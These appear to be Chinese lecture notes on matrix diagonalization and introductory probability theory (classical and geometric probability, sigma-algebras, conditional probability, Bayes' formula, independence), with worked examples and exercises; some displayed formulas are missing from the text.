当 \(c_1 c_2 \neq 0\) 时,我们有 \(\lambda_1 = \lambda_0 = \lambda_2\),这与 \(\lambda_1 \neq \lambda_2\) 矛盾,因此 \(c_1 \alpha + c_2 \beta\) 不是 \(\sigma\) 的特征向量。 -
右推左显然,我们只考虑左推右的证明。由上一小问结论可知,若 \(V\) 中的每一非零向量都是 \(\sigma\) 的特征向量,\(\sigma\) 不可能有不同的特征值(因为有不同的特征值就有不同特征值对应的特征向量,但它们的线性组合一定仍在 \(V\) 中,这与从第一问中得到的结论,即它不是 \(\sigma\) 的特征向量矛盾)。设 \(c_0\) 是 \(\sigma\) 的唯一的特征值,则对于任意 \(\alpha \in V\),我们有 \(\sigma(\alpha) = c_0 \alpha\),即 \(\sigma\) 在任意元素上的像都已经唯一确定,则显然在 \(V\) 的一组基上的像也唯一确定,由线性映射唯一确定的定理可知这样的线性映射是唯一的,\(\sigma = c_0 I_V\) 符合要求,因此它就是我们要找的线性映射。
Example
设 \(A\) 是数域 \(\mathbf{F}\) 上一个 \(n\) 阶方阵,\(E\) 是 \(n\) 阶单位矩阵,\(\alpha_1 \in \mathbf{F}^n\) 是 \(A\) 的属于特征值 \(\lambda\) 的一个特征向量,向量组 \(\alpha_1, \alpha_2, \ldots, \alpha_s\) 按如下方式产生:
证明向量组 \(\{\alpha_1, \alpha_2, \ldots, \alpha_s\}\) 线性无关。
Proof
由于 \(\alpha_1\) 是 \(A\) 属于特征值 \(\lambda\) 的特征向量,故有 \((A - \lambda E) \alpha_1 = 0\)。
设
$$ \sum_{i=1}^{s} k_i \alpha_i = 0, $$
两边同时左乘 \((A - \lambda E)\) 可得
$$ (A - \lambda E) \sum_{i=1}^{s} k_i \alpha_i = \sum_{i=1}^{s} k_i (A - \lambda E) \alpha_i = k_1 (A - \lambda E) \alpha_1 + \sum_{i=1}^{s-1} k_{i+1} \alpha_i = \sum_{i=1}^{s-1} k_{i+1} \alpha_i = 0. $$
以此类推,在等式两边不断左乘 \((A - \lambda E)\) 可得:对于 \(\forall r \in \{1, \cdots, s-1\}\) 都有
$$ \sum_{i=1}^{s-r} k_{i+r} \alpha_i = 0. $$
令 \(r = s-1\) 得到 \(k_s \alpha_1 = 0, \quad k_s = 0\)。再依次代回不难得到 \(k_i = 0, \quad \forall i \in \{1, \cdots, s\}\),从而向量组 \(\alpha_1, \cdots, \alpha_s\) 线性无关。
可对角化的条件¶
可对角化
设\(\sigma\in\mathcal{L}(V)\),如果存在\(V\)的一组基使得\(\sigma\)在这组基下的矩阵是对角矩阵,则称\(\sigma\)可对角化.
设\(V\)是数域\(\mathbf{F}\)上的\(n\)维线性空间,\(\sigma\)是\(V\)上的线性变换,\(\lambda_1,\lambda_2,\ldots,\lambda_s\in\mathbf{F}\)是\(\sigma\)的所有互异特征值,则以下条件等价:
- \(\sigma\) 可对角化;
- \(\sigma\) 有 \(n\) 个线性无关的特征向量,它们构成 \(V\) 的一组基;
- \(V\) 有在 \(\sigma\) 下不变的一维子空间 \(U_1, \ldots, U_n\),使得 \(V = U_1 \oplus \cdots \oplus U_n\);
- \(V = V_{\lambda_1} \oplus V_{\lambda_2} \oplus \cdots \oplus V_{\lambda_s}\);
- \(n = \dim V_{\lambda_1} + \dim V_{\lambda_2} + \cdots + \dim V_{\lambda_s}\);
- \(\sigma\) 每个特征值的代数重数等于几何重数。
有推论
若 \(n\) 阶矩阵 \(A\) 有 \(n\) 个不同的特征值,则 \(A\) 可对角化. 反之,\(A\) 可对角化不一定有 \(n\) 个特征值.
Key-point
总结而言,只要特征子空间可以张成整个空间,那么这个线性变换就是可对角化的。
对角化的基本步骤¶
- 先任意写出 \(\sigma\) 在一组基 \(\mathbf{B}\) 下的矩阵 \(A\),当然为了计算方便一般选取自然基;
- 利用特征多项式 \(f(\lambda) = |\lambda E − A| = 0\) 求出 \(A\) 的所有不同特征值;
- 解线性方程组 \(AX = \lambda X\)(实际上就是方程组 \((\lambda E − A)X = 0\),其中 \(\lambda\) 是上一步求 出的特征值)求出 \(A\) 在不同特征值下的线性无关特征向量;
- 第三步中求得的所有向量就是 \(\lambda\) 的特征向量在基 \(B\) 下的坐标,根据前面的讨论,\(\sigma\) 的特征向量也就是使得 \(\sigma\) 的矩阵表示为对角矩阵的那组基.
- 当然,如果题目中直接给出求 \(P\) 使得 \(P^{−1}AP\) 为对角矩阵,那么我们只需进行 2、3 两步,并将 3 中得到的向量按列排列成矩阵 P 即可 6.如果要求\(P\)是正交矩阵,那么3中求出来的所有向量需要在 各自的特征子空间中正交化 。
Example
求矩阵
的所有特征值,对应的特征子空间,以及与 \(A\) 相似的一个对角矩阵.
Answer
对于求解矩阵的对角化问题,首先求出其特征多项式(具体步骤不展开,实际上就是三阶行列式的计算,可以使用按行(列)展开、公式法或者初等变换化为三角矩阵等方法)\(f(\lambda)=|\lambda E-A|=(\lambda-1)^2(\lambda+2)\),令\(f(\lambda)=0\),解得特征值为 \(\lambda_1=\lambda_2=1,\lambda_3=-2\).
接下来求解特征向量和特征子空间,即求解\((E-A)x=0\)和解\((-2E-A)x=0\),得到特征值1对应的特征子空间为\(\mathbf{spa}((-1,1,0)^{\mathrm{T}},(1,0,1)^{\mathrm{T}})\),特征值-2对应的特征子空间为\(\mathbf{spa}((-1,-1,1)^{\mathrm{T}})\).
与\(A\)相似的对角矩阵实际上就是特征值排列在对角线上的结果,即 \(\mathbf{diag}(1,1,-2)\).
Example
设 \(T\) 是次数小于等于 2 的实多项式线性空间 \(V\) 上的变换,对任意 \(f(x) \in V\),定义
证明 \(T\) 是 \(V\) 上的线性变换,且\(T\)可对角化.
Answer
首先证明这是线性变换. 首先验证线性性,对于任意\(f(x),g(x)\in V\),\(a,b\in\mathbf{R}\),我们有
然后说明这是\(V\)上的线性变换,即该映射的到达空间是\(V\),即\(T(f(x))\in V\), 因为\(f(x)\)是次数小于等于2的实多项式,设\(f(x)=ax^2+bx+c\),则
因此\(T\)是\(V\)上的线性变换.
下面我们来判断\(T\)是否可对角化. 线性变换的可对角化问题第一步要转化为任意一组基下的矩阵,然后判断矩阵是否可对角化,因此我们先任意选取一组基,为方便我们选取自然基\(\{1,x,x^2\}\),然后求出\(T\)在这组基下的矩阵\(A=\begin{pmatrix} 1 & -2 & 0 \\ 0 & 2 & -4 \\ 0 & 0 & 3 \end{pmatrix}\),然后求出其特征多项式\(f(\lambda)=|\lambda E-A|=(\lambda-1)(\lambda-2)(\lambda-3)\),令\(f(\lambda)=0\),解得特征值为 \(\lambda_1=1,\lambda_2=2,\lambda_3=3\). 即该3阶矩阵有3个不同的特征值,因此可知\(A\)可对角化,即\(T\)可对角化.
经典问题¶
可对角化求矩阵幂
已知\(A=\begin{pmatrix} 0 & \dfrac{1}{2} & \dfrac{1}{2} \\[2ex] 1 & -\dfrac{1}{2} & \dfrac{1}{2} \\[2ex] 1 & -\dfrac{1}{2} & \dfrac{1}{2} \end{pmatrix}\),求\(A^n\).
Answer
首先求出\(A\)的特征多项式\(f(\lambda)=|\lambda E-A|=\lambda(\lambda-1)(\lambda+1)\),令\(f(\lambda)=0\),解得特征值为 \(\lambda_1=0,\lambda_2=1,\lambda_3=-1\).
接下来求解特征向量和特征子空间,实际上就是求解\((0E-A)x=0,(-E-A)x=0,(E-A)x=0\),得到特征向量为
所以记\(P=(\eta_1,\eta_2,\eta_3)\),则\(A=P\mathbf{diag}(0,1,-1)P^{-1}\),因此
进一步计算得到
秩1矩阵可对角化条件
设\(\alpha\)和\(\beta\)是\(\mathbf{R}^n\enspace (n>1)\)中两个列向量,\(A=\alpha\beta^\mathrm{T}\neq O\).
-
求\(A\)的特征值;
-
证明:\(\alpha^\mathrm{T}\beta=0\iff A\)不可对角化.
Answer
- 我们知道,\(r(A)\leqslant\min{\{r(\alpha),r(\beta)\}}=1\),并且\(A\neq O\)因此\(r(A)>0\),故\(A\)的秩为1. 而\(n>1\),因此\(A\)一定不可逆,故0一定是\(A\)的特征值,且对应的特征子空间维数为\(AX=0\)的解空间维数,即为\(n-1\).
由此我们知道\(A\)最多有两个特征值,因为0的代数重数(即作为\(n\)次特征多项式的零点次数)必然大于等于其几何重数\(n-1\),当期代数重数为\(n-1\)时可能还有一个一重特征值. 我们利用特征值之和等于\(A\)的迹来找出可能的第二个特征值. 我们设\(\alpha=(a_1,a_2,\ldots,a_n)^\mathrm{T},\beta=(b_1,b_2,\ldots,b_n)^\mathrm{T}\),则\(A=\alpha\beta^\mathrm{T}=\begin{pmatrix} a_1b_1 & a_1b_2 & \cdots & a_1b_n \\ a_2b_1 & a_2b_2 & \cdots & a_2b_n \\ \vdots & \vdots & \ddots & \vdots \\ a_nb_1 & a_nb_2 & \cdots & a_nb_n \end{pmatrix}\), 因此\(A\)的迹为\(\sum\limits_{i=1}^na_ib_i=\alpha^\mathrm{T}\beta=\sum\limits_{i=1}^n\lambda_i\),其中\(\lambda_i\)为\(A\)的特征值. 若\(\alpha^\mathrm{T}\beta\neq 0\),则\(\lambda_i=0,\enspace i=1,\ldots,n-1\),\(\lambda_n=\alpha^\mathrm{T}\beta\). 若\(\alpha^\mathrm{T}\beta=0\),则\(A\)的所有特征值均为0.
- 由上一小问可知,若\(\alpha^\mathrm{T}\beta=0\)即\(A\)的全部特征值为0,因此只有一个\(n-1\)维的特征子空间,故特征子空间直和不等于\(V\),故不可对角化.
反之,若\(A\)不可对角化,我们用反证法. 假设\(\alpha^\mathrm{T}\beta\neq 0\),则\(A\)有两个特征值,一个为0,一个为\(\alpha^\mathrm{T}\beta\),因此\(A\)有两个特征子空间,一个是0对应的\(n-1\)维特征子空间,一个是\(\alpha^\mathrm{T}\beta\)对应的一维特征子空间,因此\(V\)可分解为两个特征子空间的直和,与\(A\)不可对角化矛盾,因此\(\alpha^\mathrm{T}\beta=0\).
幂零矩阵不可对角化
设\(A\)为\(n\)阶非零矩阵,且\(A^m=O\enspace(m\in\mathbf{N}_+,\enspace m>1)\). 证明:\(A\)不可对角化;
Answer
设\(\lambda\)是\(A\)的特征值,由题意\(\lambda^m=0\),即\(\lambda=0\),因此\(A\)的所有特征值都为0. 但\(r(A)>0\)(因为\(A\)不是零矩阵),因此0对应的特征子空间维数为\(n-r(A)<n\),因此\(A\)不可对角化.
给出矩阵方程问对角化
-
设\(A\)为\(n\)阶矩阵,且\(A^2=2A\). 证明:\(A\)可对角化,并求出与之相似的对角矩阵(注:本题结论可推广到任意的\(A^2=kA\));
-
设\(A\)为二阶矩阵,非零向量\(\alpha\)不是\(A\)的特征向量,且\(A^2\alpha-3A\alpha+2\alpha=0\). 证明:\(\alpha\)和\(A\alpha\)线性无关且\(A\)可对角化并求与\(A\)相似的对角矩阵.
Answer
1. 由题意\(A^2-2A=O\),因此\(A\)的特征值就是方程\(\lambda^2-2\lambda=0\)的解,即\(\lambda_1=0,\lambda_2=2\).
接下来我们需要说明0和2对应的特征子空间维数之和为\(n\),即\(\dim V_0+\dim V_2=n\),其中\(V_0\)和\(V_2\)分别为0和2对应的特征子空间. 事实上,由\(A^2=2A\)可知\(A(A-2E)=O\),由知\(r(A)+r(A-2E)\leqslant n\),又根据秩不等式\(r(A)+r(B)\geqslant r(A+B)\),因此\(r(A)+r(A-2E)=r(A)+r(2E-A)\geqslant r(A+(2E-A))=r(2E)=n\). 综上可知,\(r(A)+r(A-2E)=n\).
实际上,\(V_0\)就是\(AX=0\)的解空间,\(V_2\)就是\((A-2E)X=0\)的解空间,因此\(\dim V_0=n-r(A),\dim V_2=n-r(A-2E)\),因此由\(r(A)+r(A-2E)=n\)可知\(\dim V_0+\dim V_2=2n-n=n\),即0和2对应的特征子空间维数之和为\(n\),因此\(A\)可对角化.
由于可对角化矩阵代数重数等于几何重数,因此特征值0对应的代数重数为\(n-r(A)\),特征值2对应的代数重数为\(r(A)\),因此我们可以得到与\(A\)相似的对角矩阵为\(\mathbf{diag}(0,\ldots,0,2,\ldots,2)\),其中0的个数为\(n-r(A)\),2的个数为\(r(A)\).
2. 反证法,假设\(\alpha\)和\(A\alpha\)线性相关,则存在不全为零的常数\(k_1,k_2\)使得\(k_1\alpha+k_2A\alpha=0\). 显然\(k_2\neq 0\),因为假设\(k_2=0\),则\(k_1\alpha=0\),由于\(\alpha\neq 0\),故\(k_1=0\),这与\(k_1,k_2\)不全为0矛盾. 因此我们有\(A\alpha=-\dfrac{k_1}{k_2}\alpha\),即\(\alpha\)是\(A\)的特征向量,这与题设矛盾,因此\(\alpha\)和\(A\alpha\)线性无关.
由题意,\(A^2\alpha-3A\alpha+2\alpha=0\),即\((A^2-3A+2E)\alpha=0\),又\(\alpha\neq 0\),因此\(A^2-3A+2E\)不可逆,从而\(|A^2-3A+2E|=|E-A||2E-A|=0\),故\(|E-A|=0\)或\(|2E-A|=0\).
若\(|E-A|\neq 0\),则\(E-A\)可逆,因此\((A^2-3A+2E)\alpha=(E-A)((2E-A)\alpha)=0\)可知\((2E-A)\alpha=0\),即\(A\alpha=2\alpha\),故\(\alpha\)为\(A\)的特征向量,这与条件矛盾,因此\(|E-A|=0\). 同理,\(|2E-A|=0\),因此\(A\)有两个特征值1和2,又\(A\)是2阶矩阵,因此由\autoref{cor:可对角化必要条件} 可知\(A\)一定可对角化,且对角矩阵为\(\begin{pmatrix} 1 & 0 \\ 0 & 2 \end{pmatrix}\).
若当矩阵不可对角化
证明\(r\)阶上三角矩阵\((r>1)\)
不与对角阵相似.
Answer
首先求出特征多项式为\(f(\lambda)=|\lambda E-J_0|=(\lambda-\lambda_0)^r\),因此\(J_0\)只有一个特征值\(\lambda_0\),且代数重数为\(r\).
接下来求几何重数,即\(J_0X=\lambda_0X\)的解空间维数,即\((\lambda_0 E-J_0)X=O\)的解空间维数,事实上由于\(r(\lambda_0 E-J_0)=r-1\),因此解空间维数为\(r-(r-1)=1\),即几何重数为\(1<r\),因此不可对角化
AB=BA
设 \( A, B \in M_n(\mathbf{F}) \), \( AB = BA \), 证明:
- 若 \( X \) 是矩阵 \( A \) 属于特征值 \( \lambda_0 \) 的特征向量,则 \( BX \in V_{\lambda_0} \).
- \( A \) 和 \( B \) 至少有一个共同的特征向量.
- \( A \) 有 \( n \) 个不同的特征值则
- \( AB = BA \) 当且仅当 \( A \) 的特征向量也是 \( B \) 的特征向量.
- 存在次数小于等于 \( n-1 \) 的多项式 \( f(x) \) 使得 \( B = f(A) \).
- 若 \( A, B \) 均可对角化,则对角化的过渡矩阵可以相同(同时对角化).
- \( A, B \) 可以同时上三角化,即存在可逆矩阵 \( P \) 使得 \( P^{-1}AP \) 和 \( P^{-1}BP \) 都是上三角矩阵.
设 \( n \) 阶方阵 \( A \) 和 \( B \) 都可对角化,并且它们有相同的特征子空间(但不一定有相同的特征值),证明 \( AB = BA \).
习题¶
-
设\(A\)为n阶复方阵,\(P\)为可逆矩阵。证明\(tr(A)=tr(P^{-1}AP)\)
-
已知\(A\)为3阶矩阵,特征值为1,2,3;求\(|A^2+4A+E|\)
-
证明:若\(A^2-(\lambda_1+\lambda_2)A+\lambda_1 \lambda_2 E = O,\lambda_1 \neq \lambda_2\),则\(A\)可对角化(Hint:矩阵方程可对角化条件),并判断以下说法说法哪一个正确
- \(A\)的特征值兼有一定兼有\(\lambda_1\)和\(\lambda_2\)
- \(A\)可对角化,但其特征值不一定同时有\(\lambda_1\)和\(\lambda_2\),可能为\(\lambda_1\)和\(\lambda_1\),\(\lambda_2\)和\(\lambda_2\),或者\(\lambda_1\)和\(\lambda_2\)
-
证明秩为1的向量可以写为\(\alpha^\mathrm{T}\beta\),(回忆相抵标准型~)
-
设 \(\alpha\) 为 \(n\) 维实向量且 \(\alpha^\mathrm{T} \alpha =1\),求矩阵\(I-\alpha \alpha^\mathrm{T}\)的特征值(Hint: 特征多项式展开)
-
\(A,B\)都是\(n\)阶矩阵,证明\(AB+B\)与\(BA+B\)有相同的特征值.(Hint:证明相似)
-
判断并证明:\(n\)阶方阵\(A\)满足\(A^2-5A+5E_n=0\),则对于所有的有理数\(r\),有\(A+rE_n\)可逆
-
记
证明:
- \(X\) 是 \(M_{3 \times 3}(\mathbb{R})\) 的一个子空间,并求该子空间的维数;
- 对任意可逆矩阵 \(A \in X\),\((1, 1, 1)^\mathrm{T}\) 是 \(A\) 和 \(A^{-1}\) 的特征向量;
- 对任意可逆矩阵 \(A \in X\),\(A^{-1} \in X\)。
概率论
约 50 个字 预计阅读时间不到 1 分钟
授课:苏中根
"同学们我们的雷达点名已经开始"
事件及其概率¶
约 1370 个字 1 张图片 预计阅读时间 5 分钟
Quote
本章节部分内容参考了周学长的blog
随机现象域统计规律性¶
随机现象¶
-
确定性现象:可以确定在一定条件下某种现象必定发生或者必定不会发生
- 必然事件:一定会发生,例如太阳一定会东升西落
- 不可能事件:一定不会发生,例如家猪会飞上天
-
随机现象:在一定条件下,某种事件可能发生也可能不发生
-
随机试验(random experiment):对于随机现象,在基本相同的条件下,重复进行试验或者观察,可能出现不同的结果(但是结果的所有可能是知道的,不知道出现哪一种可能)
-
随机试验的结果称为随机事件(random event),简称事件
概率的统计定义¶
相同条件下重复\(N\)次试验,各次试验互不影响,事件\(A\)出现的次数(频数)\(n\),称
为 \(A\) 在 \(N\) 次试验中出现的 频率 (frequency)
\(N\)足够大时频率会趋向于一个常数,称为 概率 (probability),记为\(P(A)\),概率可以表示事件\(A\)在一次试验中发生的可能性的大小
概率和频率的特性
-
非负性:\(\forall A\in \mathcal{F},P(A)\geqslant 0\)
-
规范性:\(P(\Omega)=1\)
-
可列可加性:\(A_i\cap A_j=\emptyset, i\neq j\) (即 \(A_1,\cdots, A_n, \cdots\) 为两两不相容的事件)
古典概型¶
样本空间和样本点¶
样本空间和样本点是概率论和统计学中的两个基本概念。
样本空间(Sample Space)
样本空间是指在一次试验或随机事件中,所有可能的结果的集合。用符号 \( S \) 或 \( \Omega \) 表示。例如:
- 掷一枚硬币:样本空间是硬币的所有可能结果,记作 \( S = \{ \text{正面}, \text{反面} \} \) 或 \( S = \{H, T\} \)。
- 掷一颗骰子:样本空间是骰子的所有可能结果,记作 \( S = \{1, 2, 3, 4, 5, 6\} \)。
样本点(Sample Point)
样本点是样本空间中的一个元素,表示一次试验的一个可能结果。样本点是样本空间的一个具体结果。例如:
- 在掷一枚硬币的试验中,样本空间为 \( S = \{H, T\} \),其中 \( H \) 和 \( T \) 就是样本点。
-
在掷一颗骰子的试验中,样本空间为 \( S = \{1, 2, 3, 4, 5, 6\} \),其中 \( 1, 2, 3, 4, 5, 6 \) 都是样本点。
-
样本空间 是所有可能结果的集合。
-
样本点 是样本空间中的一个单一结果。
古典概型¶
古典概型的特征
- 样本空间中样本点有限,\(\Omega=\{\omega_1,\omega_2, \cdots, \omega_n\}\)
- 各基本事件等可能,即 \(P(\omega)=\frac 1n\)
古典概率(classical probability)的计算:
Example
有 \(n\) 个球,\(N\) 个格子 (\(n \leqslant N\)),球与格子都是可以区分的。每个球落在各格子的概率相同 (设格子足够大,可以容纳任意多个球)。将这 \(n\) 个球随机地放入 \(N\) 个格子,求:
- 指定的 \(n\) 格各有一球的概率;
- 有 \(n\) 格各有一球的概率。
把球编号为 \(1 \sim n\),\(n\) 个球的每一种放法是一个样本点,这属于古典概型。由于一个格子可容纳任意多球,样本点总数应该是从 \(N\) 个中取 \(n\) 个的重复排列数 \(N^n\)。
- 记 \(A = \{\text{指定的 } n \text{ 格各有一球}\}\),它包含的样本点数是指定的 \(n\) 格中 \(n\) 个球的全排列数 \(n!\),故:
- 记 \(B = \{\text{有 } n \text{ 格各有一球}\}\),它所包含的样本点数是 \(N\) 格中任取 \(n\) 格的全排列数 \(P_{N}^{n}\),故:
注意到 \(\log(1 - x) = -x + O(x^2), , x \to 0\)。我们有:
故当 \(N\) 比 \(n\) 大得多时,我们可以采用近似计算公式:
几何概型¶
几何概型的特征
- 样本空间中样本点无限
- 样本点落在等测度(长度、面积、体积...)区域的概率相等
几何概型的计算:
\(A_g=\{\text{任取样本点,位于区域 }g\in\Omega\text{ 的概率}\}\)
蒲丰 (Buffon) 投针问题
平面上画很多平行线,间距为 \(a\)。向此平面投掷长为 \(l \, (l < a)\) 的针,求此针与任一平行线相交的概率
以针的任一位置为样本点,它可以由两个参数决定:针的中点与最近的平行线之间的距离 \(x\),针与平行线的夹角 \(\varphi\)。
样本空间:
为一矩形。针与平行线相交的区域是:

所求概率是:
因为概率 \(P\) 可以用多次重复试验的频率来近似,所以可以得到它的近似值。方法是重复投针 \(N\) 次(或一次投针若干枚,总计 \(N\) 枚),统计与平行线相交的枚数 \(n\),则 \(P \approx n/N\)。
又因为 \(l \leqslant a\) 且可精确测量,故从 \(2l/a\pi \approx n/N\) 可解得 \(\pi \approx 2lN/an\)。历史上有人不止一次做过这个试验,做得最好的一个投掷了 3408 次,算得 \(\pi \approx 3.1415929\),其精确度已经达到小数点后第六位。
设计一个随机试验,通过大量重复试验得到某种结果,以确定我们感兴趣的某个量,由此而发展的蒙特卡洛(Monte-Carlo)方法为这种计算提供了一种途径。随着电子计算机的发展,基于随机试验法的内容,得使这种方法变得非常有效。
概率的公理化定义¶
把样本空间看做全集,事件看作包含样本点的集合,可以采用集合论的方法来研究事件
有事件之间的中的
- 包含
- 相等
- 并(至少一个发生)
- 交(同时发生)
- 差(\(A\) 差 \(B\),\(A\)发生但\(B\)不发生\(A\)差\(B = A\overline{B}\))
- 互不相容($A\cap B = \emptyset $)
- 互逆事件($A \cap B = \emptyset $ 且 \(A \cup B = \Omega\))
Note
事件的关系与运算满足集合论中有关集合运算的一切性质(交换律,结合律,分配律,De Morgan律)
概率空间¶
第一个要素为样本空间 \(\Omega\),是样本点 \(\omega\) 的全体,根据问题需要事先取定。
第二个要素为事件域 \(\mathrm{F}\),是 \(\Omega\) 中某些满足下列条件的子集的全体所组成的集类:
- \(\Omega \in \mathrm{F}\);
- 若 \(A \in \mathcal{F}\),则 \(A^c \in \mathcal{F}\);
- 若 \(A_1, A_2, \ldots, A_n, \ldots \in \mathcal{F}\),则 \(\bigcup_{n=1}^\infty A_n \in \mathcal{F}\)。
Key-point
总结为事件域中的运算是封闭的
满足这三个条件的 \(\mathcal{F}\) 称为 \(\Omega\) 上的 \(\sigma\)-代数或 \(\sigma\)-域。 \(\mathcal{F}\) 中的元素(\(\Omega\) 的子集)称为事件。
由这三个条件,可以推得事件域有下列性质:
-
\(\emptyset \in \mathcal{F}\) (因 \(\emptyset = \Omega^c\));
-
若 \(A_1, \ldots, A_n, \ldots \in \mathcal{F}\),则 \(\bigcap_{n=1}^\infty A_n \in \mathcal{F}\) (因 \(\bigcap_{n=1}^\infty A_n = \left( \bigcup_{n=1}^\infty A_n^c \right)^c\));
-
若 \(A_1, \ldots, A_n \in \mathcal{F}\),则 \(\bigcup_{k=1}^n A_k \in \mathcal{F}\),\(\bigcap_{k=1}^n A_k \in \mathcal{F}\)。
事件域也可以根据问题选择。因为对同一个样本空间 \(\Omega\),可以有很多 \(\sigma\) -代数。例如最简单的是
复杂的如
也是\(\sigma\)-代数,所以要适当选择。特别地,若\(\Omega\)为有限或可列个样本点组成,则常取\(\Omega\)的一切子集所成的集类作为
像在古典概率中那样。不难验证,\(\mathcal{F}\)是\(\sigma\)-代数。
若 \(\Omega = \mathbf{R}\)(一维实数全体),此时常取一切左开右闭有界区间和它们的(有限或可列)并、(有限或可列)交、逆所成的集的全体为\(\mathcal{F}\)(通常记为\(\mathcal{B}\)),称为一维波雷尔(Borel)\(\sigma\)-代数,其中的集称为一维波雷尔集,它是比全体区间大得多的一个集类。
若\(\Omega = \mathbf{R}^{n}\)n维实数全体),则常取一切左开右闭有界n维矩形和它们的(有限或可列)并、(有限或可列)交、逆所成的集的全体为\(\mathcal{F}\)(通常记为\(\mathcal{B}^n\)),它包含了我们感兴趣的所有情形,称为n维波雷尔\(\sigma\)-代数。
如果我们对\(\Omega\)的某个子集类\(\mathcal{C}\)感兴趣,所选的事件域\(\mathcal{F}\)可以是包含\(\mathcal{C}\)的最小\(\sigma\)-代数,这种\(\sigma\)-代数是存在的,因为:
- 至少有一个包含\(\mathcal{C}\)的\(\sigma\)-代数,即上述\(\mathcal{F}_2\);
- 若有很多包含\(\mathcal{C}\)的\(\sigma\)-代数,则它们的交也是\(\sigma\)-代数,且就是最小的。
特别地,如果我们只对\(\Omega\)的一个子集A感兴趣,则包含A的最小\(\sigma\)-代数就是
Note
概率是\(\mathcal{F}\)上的实值集函数 \(A(\in, \mathcal{F}) \rightarrow P(A)\),并且满足非负性,规范性,可列可加性三个条件(公理)
满足这些定义的概率测度 \(P\) 应满足的基本公式有以下式:
-
\(P(\emptyset) = 0\).
-
若 \(A_i; A_j = \emptyset, \, i, j = 1, 2, \ldots, n, \, i \neq j\), 则
-
\(P(A) = 1 - P(A^c)\).
-
若 \(B \subseteq A\), 则 \(P(A - B) = P(A) - P(B)\).
-
\(P(A \cup B) = P(A) + P(B) - P(AB)\).
-
\(P(A \backslash B)=P(A) - P(AB)\)
-
(多还少补定理,容斥原理)
证明-数学归纳法
- 验证基例 \(n = 1\) 当 \(n = 1\) 时,定理变为:
显然这是正确的,所以基例成立。
- 归纳假设 假设对于 \(n = k\) 时,定理成立,即:
- 证明 \(n = k+1\) 时的情形 现在我们需要证明,当有 \(k+1\) 个事件 \(A_1, A_2, \ldots, A_{k+1}\) 时,定理同样成立。
首先考虑 \(P(A_1 \cup A_2 \cup \ldots \cup A_{k+1})\):
利用概率的加法原理,有:
根据归纳假设,\(P(A_1 \cup A_2 \cup \ldots \cup A_k)\) 可以展开为:
因此,原式变为:
注意,\(P((A_1 \cup A_2 \cup \ldots \cup A_k) A_{k+1})\) 可以展开为:
将其代入之前的公式中,得到:
这正是我们需要证明的 \(n = k+1\) 的情形。
- (次可加性)
概率测度的连续性¶
给定一概率空间 \((\Omega, \mathcal{F}, P)\),假设 \(A_1, A_2, \ldots\) 是一列单调增加的事件序列,即
记 \(A = \bigcup_{n=1}^{\infty} A_n\),称 \(A\) 为 \(A_n\) 的极限。从公理化定义可以看出,\(A\) 仍然是一个事件。下面定理给出该事件的概率大小。
如果 \(A_1, A_2, \ldots\) 是一列单调增加的事件序列,具有极限 \(A\),那么,
事件的上极限和下极限¶
事件是样本点的集合,事件的上级限和下极限是事件的集合的极限。
对于一个集合序列,我们定义其上极限和下极限如下:
Definition
设 \(\{ A_n \}_{n=1}^{\infty}\) 是一列事件序列,定义
为事件 \(A_n\) 的上极限,而
为事件 \(A_n\) 的下极限。
其实理解起来也是不困难的,对于上极限
可以设\(B_n=\bigcup_{k=n}^{\infty} A_k\),则\(B_1\supset B_2 \supset \cdots\),即\(B_n\)是单调递减的(因为参与并的集合越来越少了),我们取这个单调递减的序列的交(也就相当于取极限,从最大的开始不断剔除里面多余的元素),就是上极限
而对于下极限,我们可以设\(C_n=\bigcap_{k=n}^{\infty} A_k\),则\(C_1\subset C_2 \subset \cdots\),即\(C_n\)是单调递增的(因为参与交的集合越来越少了),我们取这个单调递增的序列的并(也就相当于取极限,从最小的开始不断添加里面缺失的元素),就是下极限
Example
则有
上极限:\(\limsup_{n \to \infty} A_n = \{2,3,4\}\)
下极限:\(\liminf_{n \to \infty} A_n = \{4\}\)
条件概率和链式法则¶
条件概率 \(P(A|B)\)
事件 \(B\) 发生条件下事件 \(A\) 发生的概率,称为事件 \(A\) 关于事件 \(B\) 的 条件概率 (conditional probability)
有基本公式:
也可以表示为 链式法则(乘法公式) 的形式:
推广到 \(n\) 个事件
推广到 \(n\) 个事件,有链式法则:
特别定义 \(a>b\) 时,\(\prod_{i=a}^bA_i\) 为必然事件。
全概率公式¶
分割(完备事件组)
在概率空间 (\(\Omega, \mathcal{F}, P\)) 中,若事件 \(\{A_1, A_2, \cdots, A_n\}\)(\(n<\infty\) 或 \(n=\infty\)) 满足:
- \(A_i\) 两两互不相容(不可能同时发生),且 \(P(A_i)>0\)
-
\[\sum_{i=1}^\infty A_i=\Omega\]
则称 \(\{A_1, A_2, \cdots, A_n\}\) 构成 \(\Omega\) 的一个 分割(完备事件组)
全概率 (total probability) 公式
在概率空间 (\(\Omega, \mathcal{F}, P\)) 中,若 \(\{A_1, A_2, \cdots, A_n\}\)(\(n<\infty\) 或 \(n=\infty\)) 构成 \(\Omega\) 的一个 分割(完备事件组) ,
则有 全概率公式 成立:\(\forall B\in \mathcal{F}\),有
Proof
贝叶斯公式¶
贝叶斯 (Bayes) 公式
Proof
\(P(A_i|B)=\dfrac{P(A_iB)}{P(B)}\),分子用链式法则展开,分母用全概率公式展开。
深入了解条件概率的意义
\(P(A_i)\):不知 \(B\) 是否发生,称为 先验 (priori) 概率
\(P(A_i|B)\):以 \(B\) 发生为已知条件,称为 后验 (posteriori) 概率
事件独立性¶
两个事件的独立性¶
\(A\) 与 \(B\) 相互独立(统计独立)
称事件 \(A\) 与事件 \(B\) 相互独立(统计独立,statistical independence),如果满足
因为此时有
且
如果 \(A\) 与 \(B\) 不相互独立,也称为 统计相依 (statistical dependence)
多个事件的独立性¶
对于一组事件 \(A_1,A_2,\cdots,A_n\),存在两两独立和整体的相互独立两种概念。
不妨先以三个事件 \(A,B,C\) 为例进行研究。
-
两两独立:即 \(A\) 与 \(B\) 相互独立,\(B\) 与 \(C\) 相互独立,\(C\) 与 \(A\) 相互独立
\[ \left\{\begin{array}{l} P(A B)=P(A) \cdot P(B) \\ P(A C)=P(A) \cdot P(C) \\ P(B C)=P(B) \cdot P(C) \end{array}\right. \]但是有可能
\[ P(ABC) \neq P(A)\cdot P(B)\cdot P(C) \] -
整体相互独立:即满足
\[ P(ABC)=P(A)\cdot P(B)\cdot P(C) \]
同时满足两两独立和整体的相互独立,才能说 \(A, B, C\) 相互独立。 且A与BC的并,交,差等也是独立的。
推广到 \(n\) 个事件
